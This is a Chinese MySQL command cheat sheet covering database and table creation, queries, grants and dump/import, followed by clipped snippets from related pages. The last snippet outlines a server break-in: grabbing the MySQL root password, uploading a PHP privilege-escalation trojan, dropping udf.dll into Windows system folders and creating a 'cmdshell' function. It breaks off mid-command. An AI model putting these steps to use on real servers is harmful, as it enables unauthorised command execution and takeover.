MYSQL 基本命令
进入MySQL:mysql -u root -p password;
退出MySQL:quit/exit;
创建数据库:create database database-name;
显示所有的数据库: show databases; 注意有个s;
删除数据库:drop database databasename;
l连接数据库:use databasename;提示:database changed;
选择当前数据库:select database();
当前数据库所包含的表:show tables;
创建用户并赋予权力:grant all privileges on dbname.* to username@localhost identified by password;
创建数据表:create table table-name(<字段1><类型1>,<字段2><类型2>, <字段...n><类型n>);
获取表结构:desc table-name/show columns from table-name;
删除表:drop table table-name;
插入数据:insert into table-name (<字段1>,<字段2>, <字段...n>) values('','','');
查询数据表中的数据:select * from table-name(查询全部数据);
查询前几行数据:select * from table-name order by id limit 0,n;
删除表中的数据:delete from table-name where 条件;
跟新表中的数据:update table-name set 字段=新值,... where 条件;
在表中添加字段:alter table table-name add <字段> <l类型>..;
更该表名: rename table oldtablename to newtablename;
更新字段内容:update table-name set 字段名=新内容;
导出整个数据库:mysqldump -u 用户名 -p 数据库名 > 导出的文件名
导出一个表:mysqldump -u 用户名 -p 数据库名表名> 导出的文件名
导出一个数据库结构 : mysqldump -u root -p -d --add-drop-table lcc >d:\lcc.sql-d 没有数据 --add-drop-table 在每个create语句之前增加一个drop table
导入数据库
常用source 命令
进入mysql数据库控制台,
如mysql -u root -p
mysql>use 数据库
然后使用source命令,后面参数为脚本文件(如这里用到的.sql)
mysql>source d:\1.sql
相关文档:
mysql数据库本身有数据备份和批量数据插入的命令,java代码可执行这些命令。
安装mysql后,需要设置环境变量:我的电脑右击--属性--高级--环境变量,增加MYSQL_HOME=“mysql安装路径”,然后path=%MYSQL_HOME%\bin
代码如下:
import java.io.BufferedReader;
import java.io.FileInputStream;
import java. ......
The security settings could not be applied to the database because the connection has failed with the following error.
Error Nr. 2003
Can't connect to MySQL server on 'localhost' (10061)
If a personal firewall is running on your machine, please make sure you have opened the TCP port 3306 for conn ......
MySQL的二进制日志可以说或是MySQL最重要的日志了,它记录了所有的DDL和DML(除了数据查询语句)语句,以事件形式记录,还包含语句所执行的消耗的时间,MySQL的二进制日志是失误安全型的.
在5.1的版本你二进制日志还替代了原本的更新日志.一般来说开启二进制日志大概会有1%的性能损耗(参见MySQL官方中文手册5.1.24版).二进制有两 ......
linux安装mysql.txt
2009-03-22 10:45
一、引言
想使用Linux已经很长时间了,由于没有硬性任务一直也没有系统学习,近日由于工作需要必须使用Linux下的MySQL。本以为有Windows下使用SQL Server的经验,觉得在Linux下安装MySql应该是易如反掌的事,可在真正安装和使用MySQL时走了很多弯路,遇见很多问题,毕竟Linux ......
(1)获取Mysql数据库的root用户密码和数据库用户名
(2)上传提权php木马,通过连接3389可以知道服务器是2003系统
(3)udf.dll对应操作系统
C:\Winnt\udf.dll 2000
C:\Windows\udf.dll 2003
(4)设置相应的路径后直接导出。
(5)执行以下命令
create function cmdshell returns string soname 'udf ......